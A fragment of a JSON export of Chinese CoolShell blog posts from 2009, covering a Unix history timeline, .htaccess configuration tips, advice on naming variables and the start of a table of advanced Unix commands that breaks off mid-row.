    "content": "---\nlayout: post\ntitle: Unix 40年：Unix年鉴\ndate: 2009/6/12/ 7:32:54\nupdated: 2009/6/12/ 7:32:54\nstatus: publish\npublished: true\ntype: post\n---\n\n今年是Unix 40年的生日，这篇文章，主要是一个Unix的年鉴，其记录了40年来所有和Unix有关的里程碑事件。\n\n\n如果你想知道Unix的一些故事，你可以查看下面这些文章：\n\n\n* 《**[Unix40年：昨天，今天和明天](https://coolshell.cn/articles/1023.html)**》\n* 《**Unix****传奇**》**[上篇](http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx)****，****[下篇](http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx)**\n* 《**[Unix的现状与未来](http://blog.csdn.net/haoel/archive/2007/07/13/1688006.aspx)**》\n\n\n#### 1956\n\n\n美国司法部颁布法令责成AT&T公司不得从事除了公共承运人提供的通信服务以外的一切商业活动。\n\n\n#### 1969\n\n\n**三月 —** AT&T旗下的 Bell 实验室从操作系统项目Multics (Multiplexed Information and Computing Service)研发中撤出，这是一个前沿但很复杂的分时操作系统。一些重要的Multics理念以后来被用于Unix操作操作系统中。\n\n\n\nhttp://www.computerworld.com/common/images/site/features/2009/062009/unix_pdp7_120.jpg  \n\nUnix 从 PDP-7 小型机上开始了它的历程  \n\nCredit: Toresbe ([cc-by-sa 1.0](http://creativecommons.org/licenses/sa/1.0/))\n\n\n**八月 –** Bell实验室的Ken Thompson 写了第一个版本的操作系统，这时，这个操作系统还没有名字，这个操作系统是用DEC PDP-7 小型机的汇编语言写成。\n\n\n#### 1970\n\n\nThompson的操作系统命名为 Unics，全称是Uniplexed Information and Computing Service 这是一个 “被阉割了的微型的 Multics”。 （后来，这个名字被神秘地改成了Unix）\n\n\n#### 1971\n\n\n**二月. —** Unix 移植到DEC PDP-11 小型机上。\n\n\n**十一月. –** 写一版本的 “Unix Programmer’s Manual”（Unix程序员手册） 由Ken Thompson 和 Dennis Ritchie完成并出版。\n\n\n#### 1972\n\n\nDennis Ritchie 开发了C 编程语言。\n\n\n#### 1973\n\n\nUnix 成熟期。“管道”，一个可以在两个程序中共享信息的机制问世，这项技术影响了操作系统几十年。这个技术被加入到了Unix中。同年，Unix被用C语言重写。\n\n\n#### 1974\n\n\n**一月 –** 加利福尼亚大学伯克利分校收到了一份Unix的源码拷贝。\n\n\n**七月 –** Dennis Ritchie 和 Ken Thompson发表论文《”The UNIX Timesharing System”》，这篇论文发表于计算机协会（Association for Computing Machinery）的月刊杂志上。作者称，这是一个“多用途的，多用户，的交互式的操作系统”。这篇论文导制了社会上对Unix大量的需求。\n\n\n#### 1976\n\n\nBell 实验室程序员Mike Lesk 开发了 UUCP (Unix-to-Unix Copy Program) ，这个程序主要是用于网络上的文件传输，电子邮件和世界性新闻网络系统Usenet。\n\n\n#### 1977\n\n\nUnix 被移植到了一个非DEC的硬件上： Interdata 8/32 和 IBM 360.\n\n\n#### 1978\n\n\nBill Joy一个伯克利的毕业生，发布了第一个Unix伯克利发行版——1BSD（the first Berkeley Software Distribution ），本质上来说，这只是 Bell 实验室 Unix V6 加上了一些附加软件。BSD 一下就成为了一个有竞争力的Unix 分枝，从此和 AT&T的 Unix分庭抗礼。而且，BSD以以后派生出了 FreeBSD，NetBSD， OpenBSD， DEC Ultrix，SunOS，NeXTstep/OpenStep 和 Mac OS X。\n\n\n#### 1980\n\n\n4BSD，由美国国防部高级计划研究署 DARPA 资助，成为了世界上第一个支持TCP/IP的Unix。\n\n\nhttp://www.computerworld.com/common/images/site/features/2009/062009/unix_bjoy_120.jpg   \n\nBill Joy 发起了Unix的 BSD 分枝 并成立了Sun公司  \n\nCredit: SqueakBox ([cc-by-sa 2.0](http://creativecommons.org/licenses/by/2.0/))\n\n\n#### 1982\n\n\nBill Joy 成立了 Sun Microsystems 公司生产基于 Unix的 Sun 工作站。\n\n\n#### 1983\n\n\nAT&T 发布了 Unix System V的第一个版本，这是最具影响力的一个版本，后来，从这个版本派生出了IBM的 AIX 和 Hewlett Packard的 HP-UX。\n\n\nKen Thompson 和 Dennis Ritchie因为Unix 获得了 计算机协会 ACM授于的图灵奖（ Turing Award）—— “for their development of generic operating systems theory and specifically for the implementation of the UNIX operating system”\n\n\nRichard Stallman announces plans for the GNU (GNU’s not Unix) operating system, a Unix look-alike composed of free software.\n\n\n#### 1984\n\n\n冬季， 在USENIX/UniForum 大会上，AT&T 阐述了他们的Unix的政策：“不打广告，不作support，不发布补丁，除非先付费”\n\n\nX/Open 公司，一个欧洲计算机制造协会，形成了一个Unix的标准——X/Open可移植性指南。它采用了若干特定标准，填补了其他标准缺失功能的空白。这些指南的目的是改善应用程序的可移植性。\n\n\n#### 1985\n\n\nAT&T 发行System V Interface Definition (SVID)，其尝试去设定一个Unix如何运行的标准。\n\n\n#### 1986\n\n\nRick Rashid 及其同事 于 Carnegie Mellon 大学创造了 Mach操作系统的第一个版本，其用于取代BSD Unix内核，从而可以让操作系统有更好的可移植性，以及更强的安全性，并可用于多处理器的应用。\n\n\n#### 1987\n\n\nhttp://www.computerworld.com/common/images/site/features/2009/062009/unix_atanenbaum_120.jpg   \n\nAndrew Tanenbaum 写了 Minix, 一个 Unix 的克隆仅用于教学目的。  \n\nCredit: GerardM ([GNU FDL](http://en.wikipedia.org/wiki/GNU_Free_Documentation_License))\n\n\nAT&T Bell 实验室和Sun Microsystems 宣布计划一同开发一个操作系统以便统一两个主要的Unix分枝。\n\n\nAndrew Tanenbaum 写下了 Minix，这是一个开源的Unix克隆操作系统，仅用于计算机科学的教室。\n\n\n#### 1988\n\n\nUnix战争爆发。为了对付AT&T/Sun 联盟，其它 Unix 产商包括DEC，HP 和 IBM 组成了“开放软件基金会 Open Software Foundation (OSF) ”以开发一个开放的Unix标准。AT&T 和它的盟友也组织了一个他们自己的标准组织： Unix International.\n\n\n同年，IEEE 发布了 Posix (Portable Operating System Interface for Unix)，这是一系列关于Unix接口的标准。\n\n\n#### 1989\n\n\nUnix System Labs，AT&T Bell 实验室所属，发布了System V Release 4 (SVR4)，这是和Sun公司合作的产物，其整合了System V， BSD， SunOS 和 Xenix.\n\n\n#### 1990\n\n\n开放软件基金会 OSF 针对SVR4发布了 OSF/1，这是一个基于 Mach 和 BSD的版本。\n\n\n#### 1991\n\n\nSun Microsystems 宣布了 Solaris，一个基于 SVR4的操作系统。\n\n\n同年Linux Torvalds 写了 Linux，解一个开源的操作系统内核（由Minix产生的灵感）\n\n\nhttp://www.computerworld.com/common/images/site/features/2009/062009/unix_ltorvalds_120.jpg   \n\nLinus Torvalds\n\n\n#### 1992\n\n\nLinux 内核被整合到了 GNU，并开创了免费的GNU/Linux 操作系统，大家习惯于把这个操作系统简单的叫作“Linux”。\n\n\n#### 1993\n\n\nAT&T 卖掉了他的 Unix System Laboratories 以及所有的Unix权利，Novell成了买主。之后Novell 又把Unix 注册商标转给了X/Open group.\n\n\nMicrosoft 开发了 Windows NT，一个强大的32们多处理器的操作系统。Windows NT 所引发的恐慌情绪促成了Unix的标准。\n\n\n#### 1994\n\n\nNASA 发明了 [Beowulf computing](http://www.beowulf.org/overview/history.html) ，其使用了一些低成本的PC机并使用Unix或Linux作为操作系统，以及TCP/IP为网络组成了一个廉价的集群技术。\n\n\n#### 1996\n\n\nX/Open 和 Open Software Foundation 合并形成了 The Open Group.\n\n\nhttp://www.computerworld.com/common/images/site/features/2009/062009/unix_natmedal_230.jpg   \n\nClinton 总统授予Thompson 和 Ritchie国家科技勋章\n\n\n#### 1999\n\n\n美国总统克林顿授予Ken Thompson 和 Dennis Ritchie国家科技勋章，以表彰他们在Bell实验室的成就。\n\n\n#### 2001\n\n\nApple 发布 Mac OS X，这是一个基于Mach内核和BSD开发的桌面操作系统 。\n\n\n#### 2002\n\n\nThe Open Group 宣布了Single UNIX Specification （以前叫 Spec 1170）的第三个版本。  \n\n\n \n\n\n#### 参考\n\n\n* *Peter H. Salus*所著《A Quarter Century of Unix》\n* *Microsoft*\n* *AT&T*\n* *The Open Grou*\n* *Wikipedia*\n* *其它*\n\n\n原文：[链接](http://www.computerworld.com/action/article.do?command=viewArticleBasic&taxonomyName=Operating+Systems&articleId=9133628&taxonomyId=89&pageNumber=1)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![sed 简明教程](../wp-content/uploads/2013/02/sed-superman-150x150.png)](https://coolshell.cn/articles/9104.html)[sed 简明教程](https://coolshell.cn/articles/9104.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\nThe post [Unix 40年：Unix年鉴](https://coolshell.cn/articles/1032.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-14 16个简单实用的.htaccess小贴示.md",
    "content": "---\nlayout: post\ntitle: 16个简单实用的.htaccess小贴示\ndate: 2009/6/14/ 4:27:9\nupdated: 2009/6/14/ 4:27:9\nstatus: publish\npublished: true\ntype: post\n---\n\n.htaccess 文件 (Hypertext Access file) 是Apache Web服务器的一个非常强大的配置文件，对于这个文件，Apache有一堆参数可以让你配置出几乎随心所欲的功能。.htaccess 配置文件坚持了Unix的一个文化——使用一个ASCII 的纯文本文件来配置你的网站的访问策略。\n\n\n这篇文章包括了16个非常有用的小技巧。另外，因为.htaccess 是一个相当强大的配置文件，所以，一个轻微的语法错误会造成你整个网站的故障，所以，在你修改或是替换原有的文件时，一定要备份旧的文件，以便出现问题的时候可以方便的恢复。\n\n\n**1. 使用.htaccess 创建自定义的出错页面。**对于Linux Apache来说这是一项极其简单的事情。使用下面的.htaccess语法你可以轻松的完成这一功能。（把.htaccess放在你的网站根目录下）\n\n\nErrorDocument 401 /error/401.php  \n\nErrorDocument 403 /error/403.php  \n\nErrorDocument 404 /error/404.php  \n\nErrorDocument 500 /error/500.php\n\n\n\n**2. 设置网站的时区**\n\n\nSetEnv TZ America/Houston\n\n\n**3. 阻止IP列表**  \n\n有些时候，你需要以IP地址的方式阻止一些访问。无论是对于一个IP地址还是一个网段，这都是一件非常简单的事情，如下所示：\n\n\nallow from all  \n\ndeny from 145.186.14.122  \n\ndeny from 124.15\n\n\nApache对于被拒绝的IP会返回403错误。\n\n\n**4. 把一些老的链接转到新的链接上——搜索引擎优化SEO** \n\n\nRedirect 301 /d/file.html <http://www.htaccesselite.com/r/file.html>\n\n\n**5. 为服务器管理员设置电子邮件。**\n\n\nServerSignature EMail  \n\nSetEnv SERVER\\_ADMIN [default@domain.com](mailto:default@domain.com)\n\n\n**6. 使用.htaccess 访止盗链。**如果你网站上的一个图片被别的N多的网站引用了，那么，这很有可能会导致你服务器的性能下降，使用下面的代码可以保护某些热门的链接不被过多的引用。\n\n\nOptions +FollowSymlinks  \n\n# Protect Hotlinking  \n\nRewriteEngine On  \n\nRewriteCond %{HTTP\\_REFERER} !^$  \n\nRewriteCond %{HTTP\\_REFERER} !^http://([www.)?domainname.com/](http://www.%29/?domainname.com/) [nc]  \n\nRewriteRule .\\*.(gif|jpg|png)$ <http://domainname.com/img/hotlink_f_o.png> [nc]\n\n\n**7. 阻止 User Agent 的所有请求**\n\n\n## .htaccess Code :: BEGIN  \n\n## Block Bad Bots by user-Agent  \n\nSetEnvIfNoCase user-Agent ^FrontPage [NC,OR]  \n\nSetEnvIfNoCase user-Agent ^Java.\\* [NC,OR]  \n\nSetEnvIfNoCase user-Agent ^Microsoft.URL [NC,OR]  \n\nSetEnvIfNoCase user-Agent ^MSFrontPage [NC,OR]  \n\nSetEnvIfNoCase user-Agent ^Offline.Explorer [NC,OR]  \n\nSetEnvIfNoCase user-Agent ^[Ww]eb[Bb]andit [NC,OR]  \n\nSetEnvIfNoCase user-Agent ^Zeus [NC]\n\n\nOrder Allow,Deny  \n\nAllow from all  \n\nDeny from env=bad\\_bot\n\n\n## .htaccess Code :: END\n\n\n**8. 把某些特殊的IP地址的请求重定向到别的站点**\n\n\nErrorDocument 403 [http://www.youdomain.com](http://www.youdomain.com/)  \n\nOrder deny,allow  \n\nDeny from all  \n\nAllow from 124.34.48.165  \n\nAllow from 102.54.68.123\n\n\n**9. 直接找开文件而不是下载** – 通常，我们打开网上文件的时候总是会出现一个对话框问我们是下载还是直接打开，使用下面的设置就不会出现这个问题了，直接打开。\n\n\nAddType application/octet-stream .pdf  \n\nAddType application/octet-stream .zip  \n\nAddType application/octet-stream .mov\n\n\n**10. 修改文件类型** – 下面的示例可以让任何的文件都成为PHP那么被服务器解释。比如：myphp, cgi，phtml等。\n\n\nForceType application/x-httpd-php  \n\nSetHandler application/x-httpd-php\n\n\n**11. 阻止存取.htaccess 文件**\n\n\n# secure htaccess file\n\n\n order allow,deny  \n\n deny from all  \n\n**12. 保护服务器上的文件被存取**\n\n\n# prevent access of a certain file order allow,deny  \n\n deny from all  \n\n**13. 阻止目录浏览**\n\n\n# disable directory browsing  \n\nOptions All -Indexes\n\n\n**14. 设置默认主页**\n\n\n# serve alternate default index page  \n\nDirectoryIndex about.html\n\n\n**15. 口令认证** – 你可以创建一个文件用于认证。下面是一个示例：\n\n\n# to protect a file\n\n\nAuthType Basic  \n\nAuthName “Prompt”  \n\nAuthUserFile /home/path/.htpasswd  \n\nRequire valid-user\n\n\n# password-protect a directory  \n\nresides  \n\nAuthType basic  \n\nAuthName “This directory is protected”  \n\nAuthUserFile /home/path/.htpasswd  \n\nAuthGroupFile /dev/null  \n\nRequire valid-user\n\n\n**16. 把老的域名转像新的域名**\n\n\n# redirect from old domain to new domain  \n\nRewriteEngine On  \n\nRewriteRule ^(.\\*)$ <http://www.yourdomain.com/$1> [R=301,L]\n\n\n文章：[来源](http://rafeekphp.wordpress.com/2009/06/06/16-great-htaccess-tricks-and-hacks/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [![Bret Victor – Learnable Programming](../wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg)](https://coolshell.cn/articles/8387.html)[Bret Victor – Learnable Programming](https://coolshell.cn/articles/8387.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [![Javascript 装载和执行](../wp-content/uploads/2013/06/javascript-150x150.jpg)](https://coolshell.cn/articles/9749.html)[Javascript 装载和执行](https://coolshell.cn/articles/9749.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3709.html)[预发布环境,Tag发布机制和可重复的部署过程](https://coolshell.cn/articles/3709.html)\nThe post [16个简单实用的.htaccess小贴示](https://coolshell.cn/articles/1035.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-15 编程命名中的7+1个提示.md",
    "content": "---\nlayout: post\ntitle: 编程命名中的7+1个提示\ndate: 2009/6/15/ 14:36:17\nupdated: 2009/6/15/ 14:36:17\nstatus: publish\npublished: true\ntype: post\n---\n\n前几天Neo写过《[编程中的命名设计那点事](https://coolshell.cn/articles/990.html \"编程中的命名设计那点事\")》，这里也有另外一篇和程序命名的文章，可以从另一个角度看看。\n\n\n**1.- 变量应该是尽可能的望文知意。千万不要使用教材中的命名方式。**\n\n\n* **好的变量**：daysDateRange, flightNumber, carColor.\n* **坏的变量**： days, dRange, temp, data, aux…\n\n\n在我们的日常工作中，有很大数量的开发人员喜欢使用短的变量名，而不是有含义的变量名。这主要是因为我们大学教科书的那些示例所造成的，人都是先入为主，所以，教科书中的那些很抽象，带着演示的变量命名影响了我们一代又一代的程序员，并影响了他们很多年。虽然那些短的，教材式的变量名，可能会让你少打一些字，但其实，这是非常非常不好的。因为软件的维护成本远远大于了软件的开发成本，如果你不取一个好的一点的变量名，那么当进行代码评审时，当进行bug fixing时，当进行代码重构时，当进行代码维护时，你的某个变量名可能会让你一头雾水，不知道所措，还可以会让你走入陷阱，造成更大的时间成本。所以，一个可阅读的代码必然和那些不错的变量名分不开，而这也能让你的软件间接上有更好的质量。\n\n\n\n**2.- 变量名不要太长，尽可能地简短**\n\n\n只有简单和简短的变量名才是容易阅读的。因为你的变量名一定会用于程序语句中，所以，为了让你的程序语句看起来的简短，你的变量名也应该短一点，不然写出来的一个表达式就会显得很复杂。\n\n\n当然，在有些时候，一个有含义的变量名和一个简短的变量名可能存在一些冲突。这相当锻炼我们的语言能力——如果有最精炼的词语来表达最丰富的含义。如果实在做不到，那么，取一个有含义的变量名要比取一个简短的变量名更好一些。不管怎么样，我们希望即简短又有丰富的含义，但如果不能两全，那有含义优先级更高一些。\n\n\n* **坏的变量**：howLonDoesItTakeToOpenTheDoor， howBigIsTheMaterial…\n* **好的变量**：timeToOpenTheDoor， MaterialSize.\n\n\n**3.- 可以使用缩写，但需要有一些注释**\n\n\n有一些时候，我们需要使用一些缩写来命名变量，比如：用usr来表示user，用gp来表示group，用conf来表示configuration，用cwd来表示current working directory，用ptr来代码point to reference，等等，等等。缩写一般要用在大家可以看得懂的，而不是为了缩写而缩短一个单词，当然，如果你把缩写后的变量名加上注释，那就更加稳妥了。关于一些约定俗成的缩写，可参看本文的**附录一**。\n\n\n**4.- 使用合适的匈牙利命名规则**\n\n\n这里有一篇非常不错的英文文章告诉你 《[什么是合适的匈牙利命名](http://www.joelonsoftware.com/articles/Wrong.html) 》，这篇文章同时还告诉你如何去用他。基本上来说，匈牙利命名法主要是为变量加上某种前缀以标识这个变量的类型，或是一种方法的功能。其基本原则是：变量名＝属性＋类型＋对象描述。\n\n\n比如：在描述类型方面：指针p，函数fn，长整型 l，布尔b，浮点型（有时也指文件）f，双字 dw，字符串 sz，短整型 n，双精度浮点 d，无符号 u……等等。关于更多的命名规范，请参见**附录二**。\n\n\n注意，匈牙利命名也是有不好的地方的，比如你要把一个整形改成一个浮点型，你除了要改变这个变量的类型，你还要改变这个变量的名字。这是相当麻烦的。而且，在某些时候，这种前缀式的命名可以反而让你不知所措。另外，在C++中，有了类以后，这种命名方法就显得不容易去实施了。所以，合适地使用匈牙利命名方式背后的思想是很关键的。\n\n\n**5.- 不要使用反逻辑来命名**\n\n\n* **好的命名**：  IsEnabled.\n* **坏的命名：** IsNotEnabled.\n\n\n在阅读的时候，我们更喜欢正向的逻辑，而不是反向逻辑。这一规则不单单的命名，在条件语句中，我们也是要尽量不要使用这种反面的逻辑。如：if (! (isAdmin || isUser))，这样的语句很不符合人读代码的习惯，写成这样会更好一些——if (!isAdmin && !isUser)。\n\n\n**6.- 保持一致性**\n\n\n保持所有代码的一致性。使用相同的命名规则。这外世界上没有最好的命名规范。但有一点是可以确认的，那就是在一个代码库中，应该使用一致的命名规则，即使这个规则不那么好，但整个团队使用一致的就是好的。\n\n\n**7.- 附和应用程序的领域术语**\n\n\n在不同的领域中，不同的观念会有非常特别和不同的意思。例如：单词“order”并不总是意味着“次顺”，有些时候，其意味着“订单”，有些时候，意味着“命令”，有些时候，意为着“规则”。所以，在某个领域中，某些单词会有不同的含义，所以，这需要我们的命令去附和这些领域。\n\n\n \n\n\n**黄金法则- 花一些时间去思考去权衡一下你的变量名**\n\n\n当你设计好一个的变量名一个函数名的时候，别着急去使用他，停下来，想一想，这个变量名是否合适，是否还有更好的？也许你正在使用的是一个很不好的变量名。有些时候，需要我们权衡利弊一下，可能还要去和同事讨论一下。\n\n\n总之，变量名是编程的第一步，第一步走好了，后面才走得好。试想，无论是你或你的同事在使用一些好的变量名编程是一件多么轻松的事啊。\n\n\n \n\n\n#### 附录：部分的缩写规范\n\n\n\n\n|  |  |\n| --- | --- |\n| 完整单词 | 缩写 |\n| A |  |\n| average | avg |\n| B |  |\n| back | bk |\n| background | bg |\n| break | brk |\n| buffer | buf |\n| C |  |\n| color | cr,clr |\n| control | ctrl |\n| D |  |\n| data | dat |\n| delete | del |\n| document | doc |\n| E |  |\n| edit | edt |\n| error | err |\n| escape | esc |\n| F |  |\n| flag | flg |\n| form | frm |\n| G |  |\n| grid | grd |\n| I |  |\n| increment | inc |\n| information | info |\n| initial | init |\n| insert | ins |\n| image | img |\n| L |  |\n| lable | lab |\n| length | len |\n| list | lst |\n| library | lib |\n| M |  |\n| manager | mgr,mngr |\n| message | msg |\n| O |  |\n| Oracle | Ora |\n| P |  |\n| panorama | pano |\n| password | pwd |\n| picture | pic |\n| point | pt |\n| position | pos |\n| print | prn |\n| program | prg |\n| S |  |\n| server | srv |\n| source | src |\n| statistic | stat |\n| string | str |\n| Sybase | Syb |\n| T |  |\n| temp | tmp |\n| text | txt |\n| U |  |\n| user | usr |\n| W |  |\n| window | win,wnd |\n\n\n \n\n\n#### 附录二、匈牙利命名法\n\n\n\n```\n  a       Array                       数组\n  b       BOOL (int)                  布尔(整数)\n  by      Unsigned Char (Byte)        无符号字符(字节)\n  c       Char                        字符(字节)\n  cb      Count of bytes              字节数\n  cr      Color reference value       颜色(参考)值\n  cx      Count of x (Short)          x的集合(短整数)\n  dw      DWORD   (unsigned long)     双字(无符号长整数)\n  f       Flags                       标志(一般是有多位的数值)\n  fn      Function                    函数\n  g_      global                      全局的\n  h       Handle                      句柄\n  i       Integer                     整数\n  l       Long                        长整数\n  lp      Long pointer                长指针\n  m_      Data member of a class      一个类的数据成员\n  n       Short int                   短整数\n  p       Pointer                     指针\n  s       String                      字符串\n  sz      Zero terminated String      以0结尾的字符串\n  tm      Text metric                 文本规则\n  u       Unsigned int                无符号整数\n  ul      Unsigned long (ULONG)       无符号长整数\n  w       WORD (unsigned short)       无符号短整数\n  x,y     x, y coordinates (short)    坐标值/短整数\n  v       void                        空\n```\n\n有关项目的全局变量用g\\_开始，类成员变量用m\\_，局部变量若函数较大则可考虑用l\\_用以显示说明其是局部变量。\n\n\n\n```\n前缀       类型        例子\ng_      全局变量       g_Servers\nC       类或者结构体   CDocument，CPrintInfo\nm_      成员变量       m_pDoc，m_nCustomers\n```\n\n**VC常用前缀列表：**\n\n\n\n```\n前缀   类型   描述                      例子\nch     char    8位字符                   chGrade\nch     TCHAR   16位UNICODE类型字符       chName\nb      BOOL    布尔变量                  bEnabled\nn      int     整型                      nLength\nn      UINT    无符号整型                nLength\nw      WORD    16位无符号整型            wPos\nl      LONG    32位有符号整型            lOffset\ndw     DWORD   32位无符号整型            dwRange\np      *       内存模块指针，指针变量   pDoc\nlp     FAR*    长指针                    lpDoc\nlpsz   LPSTR   32位字符串指针           lpszName\nlpsz   LPCSTR  32位常量字符串指针       lpszName\nlpsz   LPCTSTR 32位UNICODE类型常量指针  lpszName\nh      handle  Windows对象句柄           hWnd\nlpfn   (*fn)() 回调函数指针              lpfnAbort\n```\n\n**Windows对象名称缩写：**\n\n\n\n```\nWindows对象 例子变量  MFC类       例子对象\nHWND        hWnd;      CWnd*       pWnd;\nHDLG        hDlg;      CDialog*    pDlg;\nHDC         hDC;       CDC*        pDC;\nHGDIOBJ     hGdiObj;   CGdiObject* pGdiObj;\nHPEN        hPen;      CPen*       pPen;\nHBRUSH      hBrush;    CBrush*     pBrush;\nHFONT       hFont;     CFont*      pFont;\nHBITMAP     hBitmap;   CBitmap*    pBitmap;\nHPALETTE    hPalette;  CPalette*   pPalette;\nHRGN        hRgn;      CRgn*       pRgn;\nHMENU       hMenu;     CMenu*      pMenu;\nHWND        hCtl;      CStatic*    pStatic;\nHWND        hCtl;      CButton*    pBtn;\nHWND        hCtl;      CEdit*      pEdit;\nHWND        hCtl;      CListBox*   pListBox;\nHWND        hCtl;      CComboBox*  pComboBox;\n\n（全文完）\n```\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [![重构代码的7个阶段](../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif)](https://coolshell.cn/articles/5201.html)[重构代码的7个阶段](https://coolshell.cn/articles/5201.html)\nThe post [编程命名中的7+1个提示](https://coolshell.cn/articles/1038.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-16 高级Unix命令.md",
    "content": "---\nlayout: post\ntitle: 高级Unix命令\ndate: 2009/6/16/ 2:42:39\nupdated: 2009/6/16/ 2:42:39\nstatus: publish\npublished: true\ntype: post\n---\n\n在Unix操作中有太多太多的命令，这些命令的强大之处就是一个命令只干一件事，并把这件事干好。Do one thing， do it well。这是unix的哲学。而且Unix首创的管道可以把这些命令任意地组合，以完成一个更为强大功能。这些哲学到今天都在深深地影响着整个计算机产业。比如今天最流行的“云计算”——把一个软件以碎片方式部署，然后这些功能可以任意组合。\n\n\n这篇文章罗列了很多Unix下比较高级的命令，当然，Unix/Linux下还有更多更多的命令，我们相信你可能见过其中的某些命令，也有可能有一些命令没有见过。不管怎么说，我们希望这些命令一方面可以让你知道怎么使用Unix/Linux操作系统，另一方面，我们也希望你能从中感到Unix的那种软件开发的哲学思想。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| ACCTCOM | :: |\n| 查看所有用户执行过的进程（命令） | acctcom | tail -20 |\n| 查看指定用户执行过的进程（命令） | acctcom -u <username> | tail -20 |\n| 使用一个正则表达式查找相关进程 | acctcom -n <pattern> | tail -20 |\n| 查找所有以l开头的被用户执行过的命令 | acctcom -n ‘^l’ | tail -30 |\n| 以反向顺序显示 | acctom -b | more |\n| AGREP | :: |\n| 在文件中查找一个可能拼写错的单词 | agrep -2 ‘macropperswan’ <file> |\n| AT | :: |\n| 在未来某个时间执行某个命令 | at now + 5 days < scriptfile |\n| AWK | :: |\n| 显示文件的第一列 | awk ‘{print $1}’ <file> |\n| 反序显示文件的前两列 | awk ‘{print $2,”\\t”,$1}’ <file> |\n| 输出前两列的总和 | awk ‘{print $1 + $2}’ <file> |\n| 查找所有包括”money” 行并输出最后一列 | awk ‘/money/ {print $NF}’ <file> |\n| 查找第二列中包含 “money” | awk ‘$2 ~ /money/ {print $0}’ <file> |\n| 查找第三列中不包括”A” | awk ‘$3 !~ /A$/ {print $0}’ <file> |\n| BC | :: |\n| 计算sin(5)的值 | echo ‘s(5)’ | bc -l |\n| CANCEL | :: |\n| 取消一个刚开始启动的打印的作业 | cancel <jobid> ( jobid可以由lpstat -o输出) |\n| CASE in ESAC  | :: |\n| sh/bash/ksh中的case语句 |  |\n| CC | :: |\n| 编译一个C文件file.c | cc -o <outfile> <infile> |\n| CHGRP | :: |\n| 修改文件的组所属 | chgrp <newgroupname> <file> |\n| CHOWN | :: |\n| 修改文件的所属人 | chown <newowner> <file> |\n| CMP | :: |\n| 比较两个文件 | cmp <file1> <file2> || <command> |\n| COL | :: |\n| 打印man pages，去除其中 “^H” | man <command> | col -b | <printcommand> |\n| CRONTAB | :: |\n| 查看你的crontab 文件 | crontab -l |\n| 编译 crontab 文件 | crontab -e |\n| 第周一的05:10 执行/home/fred/foo.ksh | 10 5 \\* \\* 1 /home/fred/foo.ksh |\n| CRYPT | :: |\n| 使用一个口令加密一个文件 | crypt password < infile > cryptfile |\n| 解密一个被上面命令加密了的文件 | crypt password < cryptfile > cleanfile |\n| CSH  | :: |\n| 最好的Berkley shell |  |\n| CUT | :: |\n| 从last 命令的输出中得到hostname字段 | last | cut -c11-40 |\n| DATE | :: |\n| 设置时间(只能由root 执行) | date <mmddhhmm> |\n| 